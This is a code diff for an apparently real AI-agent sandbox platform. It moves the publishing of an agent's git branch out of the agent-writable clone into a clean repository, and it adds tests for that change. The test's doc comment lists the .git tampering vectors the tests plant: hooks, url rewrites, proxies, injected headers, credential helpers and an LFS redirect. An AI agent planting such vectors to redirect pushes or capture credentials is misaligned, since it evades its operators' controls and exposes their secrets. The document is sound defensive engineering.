diff --git a/.github/workflows/sandbox-isolation.yml b/.github/workflows/sandbox-isolation.yml index bbb1ad4a0..02b10a420 100644 --- a/.github/workflows/sandbox-isolation.yml +++ b/.github/workflows/sandbox-isolation.yml @@ -234,8 +234,8 @@ jobs: executed=$(grep -oE 'executed="[0-9]+"' "$trx" | head -1 | grep -oE '[0-9]+') passed=$(grep -oE 'passed="[0-9]+"' "$trx" | head -1 | grep -oE '[0-9]+') echo "executed=${executed:-0} passed=${passed:-0}" - if [ "${executed:-0}" -lt 97 ]; then - echo "::error::Expected >=97 sandbox isolation tests to run (bwrap/prlimit confinement + cap-drop + cgroup-namespace re-root + egress-allowlist filter + cgroup resource cap + durable-launch cgroup wiring + argv/envp per-string kernel ceiling + a prompt past it riding stdin + a read-only workspace mount + a network-off run reaching its broker through the relay and nothing else + an allowlist run relayed to its broker + a read-only reviewer reading its diff with the real CLIs + a bwrap probe that runs the launch argv + the MCP helper bound file by file behind a read-only socket dir + a CLI reaching its broker socket through the relay + a severed child reaching its broker over the lease socket across a worker restart + a pre-relay namespaced run re-bound at its gateway and torn down with its seal + an allowlist run's veth guarded both ways, a flow the worker opened before the run included + forwarding a root worker may not write named before an allowlist is planned + an allowlist run's port 53 open only at the resolvers of the resolv.conf its namespace reads, and still to a resolver address the worker's own NAT rewrites before its forward and its input hooks + a target repository's own CLI config kept out of the run with the real CLIs, every repository's memory read in a multi-repo workspace included + a multi-repo Codex run starting at a workspace root that is no git repository and loading no config from it + a repo-less Codex run starting in a scratch directory that is no git repository + a goal handed to the real Claude CLI as text it cannot act on, fresh and resumed, against the text channel as its control + a repository clean filter the capture runs with its egress severed), but only ${executed:-0} did — the Category=Sandbox filter matched too few (trait regression?). If a case was deliberately removed, lower this number in the same PR." + if [ "${executed:-0}" -lt 98 ]; then + echo "::error::Expected >=98 sandbox isolation tests to run (bwrap/prlimit confinement + cap-drop + cgroup-namespace re-root + egress-allowlist filter + cgroup resource cap + durable-launch cgroup wiring + argv/envp per-string kernel ceiling + a prompt past it riding stdin + a read-only workspace mount + a network-off run reaching its broker through the relay and nothing else + an allowlist run relayed to its broker + a read-only reviewer reading its diff with the real CLIs + a bwrap probe that runs the launch argv + the MCP helper bound file by file behind a read-only socket dir + a CLI reaching its broker socket through the relay + a severed child reaching its broker over the lease socket across a worker restart + a pre-relay namespaced run re-bound at its gateway and torn down with its seal + an allowlist run's veth guarded both ways, a flow the worker opened before the run included + forwarding a root worker may not write named before an allowlist is planned + an allowlist run's port 53 open only at the resolvers of the resolv.conf its namespace reads, and still to a resolver address the worker's own NAT rewrites before its forward and its input hooks + a target repository's own CLI config kept out of the run with the real CLIs, every repository's memory read in a multi-repo workspace included + a multi-repo Codex run starting at a workspace root that is no git repository and loading no config from it + a repo-less Codex run starting in a scratch directory that is no git repository + a goal handed to the real Claude CLI as text it cannot act on, fresh and resumed, against the text channel as its control + a repository clean filter the capture runs with its egress severed + a real Codex agent that tampers its clone's .git while the platform publishes the branch from a clean repo, its Claude counterpart running in the non-root lane), but only ${executed:-0} did — the Category=Sandbox filter matched too few (trait regression?). If a case was deliberately removed, lower this number in the same PR." exit 1 fi @@ -290,6 +290,15 @@ jobs: assert len(clean_filter) == 1 and clean_filter[0].get('outcome') == 'Passed', 'the clean-filter capture case must run once and pass' print('The clean-filter capture case ran and passed.') + # The publish-isolation E2E runs a REAL Codex agent that plants push vectors in its .git, then the platform + # publishes from a clean repo; it is armed by the same CLI pins and returns early the same way. Require its + # marker (confined on this lane) and that it passed. The Claude arm runs in the non-root lane: the pinned CLI + # refuses bypassPermissions, a Standard run's mode, to uid 0. + assert '[publish-isolation-e2e] ran codex-cli uid=0 confined=True' in text, 'publish-isolation E2E arm "codex-cli" did not run confined as root — check CODESPACE_REQUIRE_REVIEW_CLIS and the CLI install step' + publish_iso = [r for r in results if 'AgentPublishIsolationE2ETests.' in r.get('testName', '')] + assert len(publish_iso) == 1 and publish_iso[0].get('outcome') == 'Passed', 'the Codex publish-isolation arm must run once and pass' + print('The Codex publish-isolation E2E arm ran and passed.') + # The sealed-egress E2E returns early on a host that cannot confine, which reads as Passed; require each arm's marker. for arm in ('durable', 'non-durable', 'relay-ipv6', 'restart', 'relay-refused', 'relay-policy-route'): assert f'[sealed-egress-e2e] ran {arm}' in text, f'sealed-egress E2E arm "{arm}" did not run — this lane is root with bwrap and the relay helper, so it must relay' @@ -402,9 +411,9 @@ jobs: root = ET.parse(path).getroot() counters = root.find('.//{*}Counters') executed, passed = int(counters.get('executed')), int(counters.get('passed')) - assert executed >= 15 and passed == executed, f'expected all 15 non-root arms to run and pass, got executed={executed} passed={passed}' + assert executed >= 16 and passed == executed, f'expected all 16 non-root arms to run and pass, got executed={executed} passed={passed}' text = open(path, encoding='utf-8').read() - for marker in ('[non-root-e2e] ran admission uid=1654', '[sealed-egress-e2e] ran non-root durable uid=1654', '[sealed-egress-e2e] ran non-root non-durable uid=1654', '[sealed-egress-e2e] ran non-root restart uid=1654', '[sealed-egress-e2e] ran non-root relay-refused uid=1654', '[sealed-egress-e2e] ran non-root relay-ipv6', '[broker-socket-e2e] ran non-root socket-channel uid=1654', '[review-diff-e2e] ran non-root network-off-relayed claude-code uid=1654', '[review-diff-e2e] ran non-root network-off-relayed codex-cli uid=1654', '[durable-egress-e2e] ran non-root allowlist-severed uid=1654', '[repo-config-e2e] ran non-root claude-code single-repo Standard uid=1654', '[goal-channel-e2e] ran non-root mentions claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root resume claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root slash /fix claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root slash /security-review claude-code Standard uid=1654 confined=True'): + for marker in ('[non-root-e2e] ran admission uid=1654', '[sealed-egress-e2e] ran non-root durable uid=1654', '[sealed-egress-e2e] ran non-root non-durable uid=1654', '[sealed-egress-e2e] ran non-root restart uid=1654', '[sealed-egress-e2e] ran non-root relay-refused uid=1654', '[sealed-egress-e2e] ran non-root relay-ipv6', '[broker-socket-e2e] ran non-root socket-channel uid=1654', '[review-diff-e2e] ran non-root network-off-relayed claude-code uid=1654', '[review-diff-e2e] ran non-root network-off-relayed codex-cli uid=1654', '[durable-egress-e2e] ran non-root allowlist-severed uid=1654', '[repo-config-e2e] ran non-root claude-code single-repo Standard uid=1654', '[goal-channel-e2e] ran non-root mentions claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root resume claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root slash /fix claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root slash /security-review claude-code Standard uid=1654 confined=True', '[publish-isolation-e2e] ran non-root claude-code uid=1654 confined=True'): assert marker in text, f'non-root arm marker "{marker}" is missing — the arm returned early or did not run as the worker uid' print(f'All {executed} non-root arms ran as uid 1654 and passed.') PY diff --git a/backend/src/CodeSpace.Core/Services/Agents/Workspace/AgentCloneGitCommand.cs b/backend/src/CodeSpace.Core/Services/Agents/Workspace/AgentCloneGitCommand.cs index 167226774..71a41322a 100644 --- a/backend/src/CodeSpace.Core/Services/Agents/Workspace/AgentCloneGitCommand.cs +++ b/backend/src/CodeSpace.Core/Services/Agents/Workspace/AgentCloneGitCommand.cs @@ -4,10 +4,13 @@ namespace CodeSpace.Core.Services.Agents.Workspace; /// /// Builds every git spec the platform runs over an agent's clone after the agent's turn: the capture -/// (add -A and the diff --cached trio), the re-attach capture, and the branch steps (checkout -B, -/// add -A, commit, diff --quiet, rev-parse HEAD). The agent can write its own .git -/// during the run, so by then its config, hooks and attributes are the agent's. Each spec built here makes sure a -/// tampered .git cannot run code with anything the agent does not already have: +/// (add -A and the diff --cached trio), the re-attach capture, the branch steps (checkout -B, +/// add -A, commit, diff --quiet), and the publish's steps there: the update-ref that names the +/// cloned base, the merge-base --is-ancestor that asks whether the branch adds anything to it, and the +/// bundle creates that carry the base and the branch out to the platform-owned publish repo (the clone bound +/// read-only, the bundles written outside it). The agent can write its own .git during the run, so by then its +/// config, hooks and attributes are the agent's. Each spec built here makes sure a tampered .git cannot run code +/// with anything the agent does not already have: /// /// -c core.hooksPath=/dev/null — a command-line value beats the repo's own, so neither a planted /// .git/hooks/* nor an agent-set hooks directory runs, and a vetoing pre-commit can no longer lose the diff --git a/backend/src/CodeSpace.Core/Services/Agents/Workspace/Providers/LocalGitWorkspaceProvider.cs b/backend/src/CodeSpace.Core/Services/Agents/Workspace/Providers/LocalGitWorkspaceProvider.cs index 821824332..c515068cf 100644 --- a/backend/src/CodeSpace.Core/Services/Agents/Workspace/Providers/LocalGitWorkspaceProvider.cs +++ b/backend/src/CodeSpace.Core/Services/Agents/Workspace/Providers/LocalGitWorkspaceProvider.cs @@ -25,6 +25,16 @@ public sealed class LocalGitWorkspaceProvider : IWorkspaceProvider, IWorkspaceJa private const int CloneTimeoutSeconds = 300; private const int CaptureTimeoutSeconds = 120; private const int PushTimeoutSeconds = 300; + + /// The initial branch of the throwaway publish repo — never pushed; the run branch is fetched into its own ref and pushed from there. + private const string PublishScratchBranch = "codespace-publish-scratch"; + + /// The ref the publish writes in the agent clone (and mirrors in the publish repo) to name the cloned base, so the base can leave the clone as a bundle of its own. + private const string PublishBaseRef = "refs/codespace/publish-base"; + + /// Recurse without following a link: a linked directory is neither listed nor entered, so a walk over the agent's .git stays inside the clone and a link loop ends. + private static readonly EnumerationOptions WithoutFollowingLinks = new() { RecurseSubdirectories = true, AttributesToSkip = FileAttributes.ReparsePoint, IgnoreInaccessible = false }; + /// Root for transient agent scratch clones (agent workspaces + branch-integration clones), under the worker's temp dir. Internal so the LocalGitBranchIntegrator stages its integration clone here too and the same janitor reclaims a leaked one. internal static readonly string WorkspacesRoot = Path.Combine(Path.GetTempPath(), "codespace-agent-workspaces"); @@ -88,7 +98,7 @@ public async Task PrepareAsync(WorkspaceProvisionRequest reque var primaryAlias = (request.Primary ?? throw new WorkspaceException("Workspace provision has no resolvable primary repository.")).Alias; var cwd = ResolveCwd(request.CwdMode, workspaceRoot, materialized, primaryAlias, single); - return new LocalWorkspaceHandle(workspaceRoot, cwd, materialized, primaryAlias, _runners.Resolve(Kind), _logger); + return new LocalWorkspaceHandle(workspaceRoot, cwd, materialized, primaryAlias, _runners.Resolve(Kind), _logger, _workspacesRoot); } catch { @@ -135,6 +145,12 @@ internal static bool IsSafeMountSegment(string segment) => && segment.IndexOf('/') < 0 && segment.IndexOf('\\') < 0 && !Path.IsPathRooted(segment); + /// git-lfs stores an object at <oid[0..2]>/<oid[2..4]>/<oid> under .git/lfs/objects, the oid being 64 lowercase hex digits; nothing else in that store is an object a push needs. Pure + internal so it's unit-pinned. + internal static bool IsLfsObjectPath(string relative) => + relative.Split(Path.DirectorySeparatorChar) is [var first, var second, var oid] + && oid.Length == 64 && oid.All(char.IsAsciiHexDigitLower) + && first == oid[..2] && second == oid[2..4]; + /// Clone one repo, strip its token from the persisted remote, and read its base revision — the per-repo unit of the workspace. private async Task MaterializeAsync(WorkspaceRepositoryProvision repo, string directory, CancellationToken cancellationToken) { @@ -623,14 +639,16 @@ internal static string Redact(string text, string? token) private sealed class LocalWorkspaceHandle : IWorkspaceHandle, IWorkspacePushHandle { private readonly string _workspaceRoot; + private readonly string _publishRoot; private readonly IReadOnlyList _repos; private readonly MaterializedRepo _primary; private readonly ISandboxRunner _runner; private readonly ILogger _logger; - public LocalWorkspaceHandle(string workspaceRoot, string cwd, IReadOnlyList repos, string primaryAlias, ISandboxRunner runner, ILogger logger) + public LocalWorkspaceHandle(string workspaceRoot, string cwd, IReadOnlyList repos, string primaryAlias, ISandboxRunner runner, ILogger logger, string publishRoot) { _workspaceRoot = workspaceRoot; + _publishRoot = publishRoot; Directory = cwd; _repos = repos; _primary = repos.First(r => r.Alias == primaryAlias); @@ -717,34 +735,129 @@ private async Task CaptureRepoChangesAsync(MaterializedRepo re if (!committed && !await HeadDiffersFromBaseAsync(repo, cancellationToken).ConfigureAwait(false)) return null; - // Re-inject the SAME clone credential into the push ARGV only (never as a remote, never into - // .git/config — origin was stripped after clone). Plain --force, not --force-with-lease: an - // observe-then-lease here would still admit a zombie whose observation is fresh at push time, so the - // zombie fence lives in the REF NAME instead (AgentRunExecutor.BuildBranchName is generation-specific - // — a superseded attempt cannot name the current attempt's ref), and a lease's no-remote-tracking-ref - // semantics vary by git version. The push gets a bounded timeout so a hung push can't delay run completion. - var authedUrl = BuildAuthenticatedUrl(repo.RepositoryUrl, repo.TokenUsername, repo.Token); + return await PublishFromCleanRepoAsync(repo, branchName, cancellationToken).ConfigureAwait(false); + } + + /// + /// Publish the produced branch to the remote from a FRESH platform-owned repository outside the workspace, so the + /// credential and the network never meet the agent-writable .git. The branch leaves the agent clone as git + /// BUNDLES built by the same hardened, network-off, credential-free command the capture uses; the clean repo imports + /// them, and the authenticated push, its LFS upload and its readback run there. The agent's own commits are + /// preserved: the bundles carry the whole branch, so the remote lands the agent's history plus the capture commit. + /// + /// The cloned base and the objects the branch ADDS travel separately so that only the latter are checked + /// (transfer.fsckObjects): the remote already holds the base, legacy objects a strict check rejects included, + /// and re-checking it would lose the branch on every such repository. git checks a fetched bundle from 2.46; on older + /// git the import is unchecked and the remote's own receive checks remain the only ones, as before this publish. + /// + /// A re-push (an S6 revise round) stages a fresh publish repo and force-pushes idempotently; the publish repo + /// is removed on every path. A leaked one (a crash between staging and cleanup) sits under the workspaces root, so + /// the same age-based janitor reclaims it. The cost is the clone's, not the change's: the base bundle and the LFS + /// copy are as large as the clone, on every attempt. + /// + private async Task PublishFromCleanRepoAsync(MaterializedRepo repo, string branchName, CancellationToken cancellationToken) + { + var publishDir = Path.Combine(_publishRoot, "publish-" + Guid.NewGuid().ToString("N")); + + try + { + OnHost(repo, "stage the publish repository", () => System.IO.Directory.CreateDirectory(publishDir)); + + var addsObjects = await BundleTheBranchOutAsync(repo, publishDir, branchName, cancellationToken).ConfigureAwait(false); + + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "init", "-q", "-b", PublishScratchBranch }, cancellationToken, network: false).ConfigureAwait(false); + + var hasLfs = OnHost(repo, "copy the clone's shallow boundary and LFS objects", () => CopyCloneStateIntoPublishRepo(repo.Directory, publishDir, cancellationToken)); + + await ImportBundlesAsync(repo, publishDir, branchName, addsObjects, cancellationToken).ConfigureAwait(false); + + // Re-inject the SAME clone credential into the ARGV only (never a remote, never .git/config). Plain --force, + // not --force-with-lease: an observe-then-lease would still admit a zombie whose observation is fresh at push + // time, so the zombie fence lives in the REF NAME instead (AgentRunExecutor.BuildBranchName is + // generation-specific — a superseded attempt cannot name the current attempt's ref), and a lease's + // no-remote-tracking-ref semantics vary by git version. Bounded timeout so a hung push can't delay completion. + var authedUrl = BuildAuthenticatedUrl(repo.RepositoryUrl, repo.TokenUsername, repo.Token); + + // LFS blobs BEFORE the refs (git's own pre-push order), so the remote never holds a pointer whose object is + // missing. The clean repo has no working-tree .lfsconfig (nothing is checked out), and the endpoint comes + // from the explicit authed URL — a hostile committed .lfsconfig cannot redirect the upload. Lock verification + // is off: against a remote without the locks API git-lfs would otherwise record lfs..locksverify in the + // publish repo's .git/config, keyed by the authed URL, which would put the token on disk. + if (hasLfs) + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "-c", "lfs.locksverify=false", "lfs", "push", authedUrl, branchName }, cancellationToken, network: true, PushTimeoutSeconds).ConfigureAwait(false); + + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "push", "--force", authedUrl, $"{branchName}:{branchName}" }, cancellationToken, network: true, PushTimeoutSeconds).ConfigureAwait(false); + + repo.PushedCommitSha = await ReadBackPushedShaAsync(repo, publishDir, authedUrl, branchName, cancellationToken).ConfigureAwait(false); - await RunGitOrThrowAsync(repo, new[] { "push", "--force", authedUrl, $"{branchName}:{branchName}" }, cancellationToken, PushTimeoutSeconds).ConfigureAwait(false); + return branchName; + } + finally + { + TryDeleteDirectory(publishDir); + } + } + + /// + /// Carry the branch out of the agent clone as bundles in the publish dir: base.bundle holds the cloned base + /// (named by ), run.bundle only the objects the branch adds to it. Returns whether + /// the branch adds any: a branch reset behind its base adds none, so it rides the base bundle, because git refuses + /// to write a bundle of nothing. + /// + private async Task BundleTheBranchOutAsync(MaterializedRepo repo, string publishDir, string branchName, CancellationToken cancellationToken) + { + await RunAgentCloneGitOrThrowAsync(repo, new[] { "update-ref", PublishBaseRef, repo.BaseSha }, cancellationToken).ConfigureAwait(false); + + var addsObjects = !await BranchIsWithinBaseAsync(repo, branchName, cancellationToken).ConfigureAwait(false); + + await RunAgentCloneBundleAsync(repo, publishDir, BaseBundle(publishDir), addsObjects ? new[] { PublishBaseRef } : new[] { PublishBaseRef, branchName }, cancellationToken).ConfigureAwait(false); + + if (addsObjects) + await RunAgentCloneBundleAsync(repo, publishDir, RunBundle(publishDir), new[] { branchName, "^" + PublishBaseRef }, cancellationToken).ConfigureAwait(false); + + return addsObjects; + } + + /// True when the branch tip is the base or one of its ancestors, so every object it reaches is already in the base bundle. A failed check reads as "adds objects": the run bundle is then attempted, and a truly empty one fails loudly. + private async Task BranchIsWithinBaseAsync(MaterializedRepo repo, string branchName, CancellationToken cancellationToken) + { + var result = await RunAgentCloneGitAsync(repo, new[] { "merge-base", "--is-ancestor", branchName, PublishBaseRef }, cancellationToken, CaptureTimeoutSeconds).ConfigureAwait(false); + return result.Status == SandboxStatus.Success; + } + + /// + /// Import the bundles into the publish repo: the base unchecked — the remote already holds it — and the objects the + /// branch adds under transfer.fsckObjects, so a malformed object the agent wrote never reaches the push. + /// Both imports are local, and as heavy as the push, so they get its budget. + /// + private async Task ImportBundlesAsync(MaterializedRepo repo, string publishDir, string branchName, bool addsObjects, CancellationToken cancellationToken) + { + var branchRefspec = $"{branchName}:refs/heads/{branchName}"; + var baseRefspecs = addsObjects ? new[] { $"{PublishBaseRef}:{PublishBaseRef}" } : new[] { $"{PublishBaseRef}:{PublishBaseRef}", branchRefspec }; - repo.PushedCommitSha = await ReadBackPushedShaAsync(repo, authedUrl, branchName, cancellationToken).ConfigureAwait(false); + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "fetch", BaseBundle(publishDir) }.Concat(baseRefspecs).ToArray(), cancellationToken, network: false, PushTimeoutSeconds).ConfigureAwait(false); - return branchName; + if (addsObjects) + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "-c", "transfer.fsckObjects=true", "fetch", RunBundle(publishDir), branchRefspec }, cancellationToken, network: false, PushTimeoutSeconds).ConfigureAwait(false); } + private static string BaseBundle(string publishDir) => Path.Combine(publishDir, "base.bundle"); + + private static string RunBundle(string publishDir) => Path.Combine(publishDir, "run.bundle"); + /// /// P3b-2 provider readback: re-read the just-pushed branch FROM THE REMOTE (ls-remote) and confirm it /// equals the local tip — "arrival" becomes an observed remote fact instead of a push self-report. Best-effort /// by design: an unreadable remote or a mismatched tip (raced) returns null with a warning — the push itself /// already succeeded, so the branch stands; only the CONFIRMATION is withheld, never fabricated. /// - private async Task ReadBackPushedShaAsync(MaterializedRepo repo, string authedUrl, string branchName, CancellationToken cancellationToken) + private async Task ReadBackPushedShaAsync(MaterializedRepo repo, string publishDir, string authedUrl, string branchName, CancellationToken cancellationToken) { try { - var localTip = (await RunAgentCloneGitOrThrowAsync(repo, new[] { "rev-parse", "HEAD" }, cancellationToken).ConfigureAwait(false)).Trim(); + var localTip = (await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "rev-parse", $"refs/heads/{branchName}" }, cancellationToken, network: false).ConfigureAwait(false)).Trim(); - var readback = await RunGitAsync(repo, new[] { "ls-remote", authedUrl, $"refs/heads/{branchName}" }, cancellationToken, PushTimeoutSeconds).ConfigureAwait(false); + var readback = await RunPublishGitAsync(repo, publishDir, new[] { "ls-remote", authedUrl, $"refs/heads/{branchName}" }, cancellationToken, network: true, PushTimeoutSeconds).ConfigureAwait(false); if (readback.Status != SandboxStatus.Success || readback.ExitCode != 0) { @@ -806,15 +919,97 @@ private Task RunAgentCloneGitOrThrowAsync(MaterializedRepo repo, IReadOn private Task RunAgentCloneGitAsync(MaterializedRepo repo, IReadOnlyList args, CancellationToken cancellationToken, int timeoutSeconds) => ExecuteGitAsync(repo, args, AgentCloneGitCommand.Build(args, repo.Directory, repo.ReadOnlyPaths, timeoutSeconds), cancellationToken); - // ── Commands that reach the remote (the authenticated push and its ls-remote readback) ── - // Network on, and the clone credential re-injected into the argv. + /// Bundle out of the agent clone into the publish dir: the agent clone is bound read-only ( is the writable cwd), hardened like every other agent-clone command, with no network and no credential. + private Task RunAgentCloneBundleAsync(MaterializedRepo repo, string publishDir, string bundlePath, IReadOnlyList revisions, CancellationToken cancellationToken) + { + var args = new[] { "-C", repo.Directory, "bundle", "create", bundlePath }.Concat(revisions).ToArray(); + + return EnsureSuccessAsync(repo, args, ExecuteGitAsync(repo, args, AgentCloneGitCommand.Build(args, publishDir, new[] { repo.Directory }, PushTimeoutSeconds), cancellationToken)); + } + + // ── Commands over the platform-owned publish repo (init, fetch, lfs push, push, rev-parse, ls-remote) ── + // A fresh repo outside the workspace, never touched by the agent. Only the commands that reach the remote carry the + // credential (in the argv) and the network; the credential never meets the agent-writable .git. + + private Task RunPublishGitOrThrowAsync(MaterializedRepo repo, string publishDir, IReadOnlyList args, CancellationToken cancellationToken, bool network, int timeoutSeconds = CaptureTimeoutSeconds) => + EnsureSuccessAsync(repo, args, RunPublishGitAsync(repo, publishDir, args, cancellationToken, network, timeoutSeconds)); + + /// Run a git command in the publish repo (its directory as cwd). Returns the raw result so a caller can classify it (e.g. an unreadable remote on the readback) rather than always throw. + private Task RunPublishGitAsync(MaterializedRepo repo, string publishDir, IReadOnlyList args, CancellationToken cancellationToken, bool network, int timeoutSeconds) => + ExecuteGitAsync(repo, args, new SandboxSpec { Command = "git", Args = args, WorkingDirectory = publishDir, TimeoutSeconds = timeoutSeconds, AllowNetwork = network }, cancellationToken); + + /// + /// Host-side IO the publish does itself rather than through the runner (staging its directory, copying the clone's + /// shallow boundary and LFS objects). Any failure — a full disk, an unreadable file — maps onto a redacted + /// , as does for git, so every caller's + /// WorkspaceException handling (the push retry, per-repo isolation, a push failure never failing a Succeeded run) + /// still holds. + /// + private static T OnHost(MaterializedRepo repo, string step, Func io) + { + try + { + return io(); + } + catch (Exception ex) when (ex is not OperationCanceledException) + { + throw new WorkspaceException($"Publishing could not {step}: {Redact(ex.Message, repo.Token)}", ex); + } + } + + /// + /// Copy the two pieces of the agent clone's .git the publish repo needs besides the bundles: the shallow + /// boundary and the LFS objects. This runs on the host, outside any sandbox, over paths the agent controlled, so it + /// reads only real files physically inside the clone: a link (to a file, a directory, or itself) or a special file + /// (a FIFO would block the open forever) is skipped. Returns whether any LFS object was copied. + /// + private static bool CopyCloneStateIntoPublishRepo(string cloneDir, string publishDir, CancellationToken cancellationToken) + { + CopyShallowBoundary(cloneDir, publishDir); + return CopyLfsObjects(cloneDir, publishDir, cancellationToken); + } + + /// Copy the agent clone's shallow boundary, if it is shallow, so the publish repo accepts a base bundle that legitimately omits the base's parents. A boundary that is not a real file in the clone is not copied, and the import then fails closed. + private static void CopyShallowBoundary(string cloneDir, string publishDir) + { + var gitDir = Path.Combine(cloneDir, ".git"); + var source = Path.Combine(gitDir, "shallow"); + + if (IsUnlinked(cloneDir) && IsUnlinked(gitDir) && IsPlainFile(source)) File.Copy(source, Path.Combine(publishDir, ".git", "shallow"), overwrite: true); + } + + /// Copy every real LFS object in the clone's store so git lfs push can upload the ones the branch's pointers name. Only object-shaped paths count, so an LFS-free repo, or one whose store holds nothing but planted entries, invokes git-lfs not at all. + private static bool CopyLfsObjects(string cloneDir, string publishDir, CancellationToken cancellationToken) + { + var gitDir = Path.Combine(cloneDir, ".git"); + var source = Path.Combine(gitDir, "lfs", "objects"); + + if (!new[] { cloneDir, gitDir, Path.Combine(gitDir, "lfs"), source }.All(IsUnlinked)) return false; + + var copied = 0; + + foreach (var file in System.IO.Directory.EnumerateFiles(source, "*", WithoutFollowingLinks)) + { + cancellationToken.ThrowIfCancellationRequested(); + + var relative = Path.GetRelativePath(source, file); + + if (!IsLfsObjectPath(relative) || !IsPlainFile(file)) continue; + + var destination = Path.Combine(publishDir, ".git", "lfs", "objects", relative); + System.IO.Directory.CreateDirectory(Path.GetDirectoryName(destination)!); + File.Copy(file, destination, overwrite: true); + copied++; + } + + return copied > 0; + } - private Task RunGitOrThrowAsync(MaterializedRepo repo, IReadOnlyList args, CancellationToken cancellationToken, int timeoutSeconds = CaptureTimeoutSeconds) => - EnsureSuccessAsync(repo, args, RunGitAsync(repo, args, cancellationToken, timeoutSeconds)); + /// The path exists and is not itself a link. + private static bool IsUnlinked(string path) => (File.Exists(path) || System.IO.Directory.Exists(path)) && new FileInfo(path).LinkTarget is null; - /// Run a git command in a SPECIFIC repo's clone (its directory as cwd) with explicit remote-network access. Returns the raw result so a caller can classify it (e.g. an unreadable remote on the readback) rather than always throw. - private Task RunGitAsync(MaterializedRepo repo, IReadOnlyList args, CancellationToken cancellationToken, int timeoutSeconds) => - ExecuteGitAsync(repo, args, new SandboxSpec { Command = "git", Args = args, WorkingDirectory = repo.Directory, ReadOnlyPaths = repo.ReadOnlyPaths, TimeoutSeconds = timeoutSeconds, AllowNetwork = true }, cancellationToken); + /// A regular, non-empty file that is not a link. A FIFO, socket or device reports no length, so it never qualifies — and an empty file is never an LFS object or a shallow boundary. + private static bool IsPlainFile(string path) => new FileInfo(path) is { Exists: true, LinkTarget: null, Length: > 0 }; /// The one place a built spec is handed to the runner: maps any infrastructure failure (git not on PATH, the working directory removed mid-run) onto a redacted so no raw Win32Exception/IOException — and no echoed token — leaks to the caller. private async Task ExecuteGitAsync(MaterializedRepo repo, IReadOnlyList args, SandboxSpec spec, CancellationToken cancellationToken) diff --git a/backend/tests/CodeSpace.IntegrationTests/Workflows/AgentPublishFromCleanRepoFlowTests.cs b/backend/tests/CodeSpace.IntegrationTests/Workflows/AgentPublishFromCleanRepoFlowTests.cs new file mode 100644 index 000000000..5b657963a --- /dev/null +++ b/backend/tests/CodeSpace.IntegrationTests/Workflows/AgentPublishFromCleanRepoFlowTests.cs @@ -0,0 +1,603 @@ +using CodeSpace.Core.Services.Agents.Sandbox; +using CodeSpace.Core.Services.Agents.Sandbox.Runners; +using CodeSpace.Core.Services.Agents.Workspace; +using CodeSpace.Core.Services.Agents.Workspace.Providers; +using CodeSpace.Messages.Agents; +using Microsoft.Extensions.Logging.Abstractions; +using Shouldly; + +namespace CodeSpace.IntegrationTests.Workflows; + +/// +/// HIGH fidelity (Rule 12): the REAL + real git + real git-lfs +/// publishing an agent's produced branch to a real loopback smart-HTTP remote () +/// that demands a FAKE token for every write. After the clone — as a tampering agent could during its turn — each test +/// plants the remote-redirect and credential-execution vectors that only bite when git reaches a remote: a pre-push, +/// pre-commit, post-checkout and reference-transaction hook; url.insteadOf and +/// url.pushInsteadOf for http://; http.proxy, http.extraHeader, a credential.helper, a +/// core.askPass, an include.path; and a work-tree .lfsconfig pointing lfs.url at a loopback +/// sink. Then it runs the production capture and push and asserts the branch lands on the LEGIT remote with the agent's +/// own commits plus the platform commit, the readback matches, the sink saw NOTHING, no planted marker fired, no +/// injected header reached the remote, and the publish repo held no copy of the token when its readback ran. +/// +/// These vectors are the half G1's hook-isolation test could not cover, because G1 still pushed from the +/// agent-writable clone. G2 carries the branch out as hardened bundles and pushes it from a fresh platform-owned repo, so +/// the credential and the network never meet the agent's .git — which is exactly what these assertions pin. +/// +/// The rest pin what that publish must still get right: objects the remote already holds are never re-checked +/// (a legacy object strict fsck rejects), a malformed object the agent wrote is refused, a branch reset behind its base +/// still lands, the host-side copies of the clone's shallow boundary and LFS objects never follow a link or open a +/// special file the agent planted, and a failed publish surfaces as a and still removes +/// its publish repo. +/// +/// Each test owns a GUID-named branch and temp tree, removes them on every path, and skips on Windows or without +/// git; the LFS test additionally skips without git-lfs, and the malformed-object test without a git that checks a +/// fetched bundle (2.46 or later). +/// +[Trait("Category", "Integration")] +public sealed class AgentPublishFromCleanRepoFlowTests +{ + [Theory] + [InlineData(0)] // full clone: the base bundle is self-contained + [InlineData(1)] // shallow clone: the copied shallow boundary lets the publish repo accept a base whose parent is absent + public async Task Publish_lands_the_branch_with_the_agents_commits_while_no_planted_vector_reaches_a_remote(int depth) + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth); + await using var handle = await ctx.CloneWithTokenAsync(); + + if (depth > 0) await ctx.ShouldBeShallowWithAnAbsentParentAsync(handle.Directory); + + var agentSha = await ctx.AgentCommitsAsync(handle.Directory, "agent.txt", "the agent's own committed work\n"); + await ctx.WriteUncommittedAsync(handle.Directory, "staged-by-platform.txt", "the platform commits this\n"); + ctx.PlantAllVectors(handle.Directory); + + var changes = await handle.CaptureChangesAsync(CancellationToken.None); + var branch = await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None); + + branch.ShouldBe(ctx.BranchName, "the publish produced the branch"); + changes.ChangedFiles.ShouldContain("agent.txt"); + changes.ChangedFiles.ShouldContain("staged-by-platform.txt"); + + var remoteTip = await ctx.RemoteShaAsync(ctx.BranchName); + ((IWorkspacePushHandle)handle).LastPushedCommitSha().ShouldBe(remoteTip, "the readback confirms the remote tip the clean repo pushed"); + (await ctx.RemoteLogAsync(ctx.BranchName)).ShouldContain(agentSha, Case.Sensitive, "the agent's own commit is preserved on the remote, not squashed away"); + (await ctx.RemoteFileAsync(ctx.BranchName, "agent.txt")).ShouldBe("the agent's own committed work\n"); + (await ctx.RemoteFileAsync(ctx.BranchName, "staged-by-platform.txt")).ShouldBe("the platform commits this\n"); + 